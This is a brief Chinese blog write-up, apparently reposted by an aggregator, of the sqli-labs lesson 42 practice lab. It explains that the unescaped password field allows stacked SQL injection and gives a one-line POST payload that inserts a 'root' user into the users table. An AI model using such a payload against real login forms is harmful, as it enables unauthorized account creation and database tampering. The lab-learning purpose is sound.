Forgot your password?
New User click here?
看源码，可以发现和less 24不同的一点在于password字段没有进行转义处理
那就对password字段进行堆叠注入
login_user=1&login_password=1‘;insert into users(id,username,password) value(15,‘root‘,‘root‘)#
登陆
sqli-labs less42 POST -Error based -String -Stacked(POST型基于错误的堆叠查询字符型注入)
Posted superkrissv
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了sqli-labs less42 POST -Error based -String -Stacked(POST型基于错误的堆叠查询字符型注入)相关的知识，希望对你有一定的参考价值。
以上是关于sqli-labs less42 POST -Error based -String -Stacked(POST型基于错误的堆叠查询字符型注入)的主要内容，如果未能解决你的问题，请参考以下文章
sqli-labs less43 POST -Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)
sqli-labs less45 POST -Error based -String -Stacked Blind(POST型基于盲注的堆叠字符型注入)
sqli-labs less11-12(post型union注入)
sqli-labs less34 POST- Bypass AddSlashes (POST型绕过addslashes() 函数的宽字节注入)
sqli-labs less13 POST - Double Injection - Single quotes- String -twist (POST型单引号变形双注入)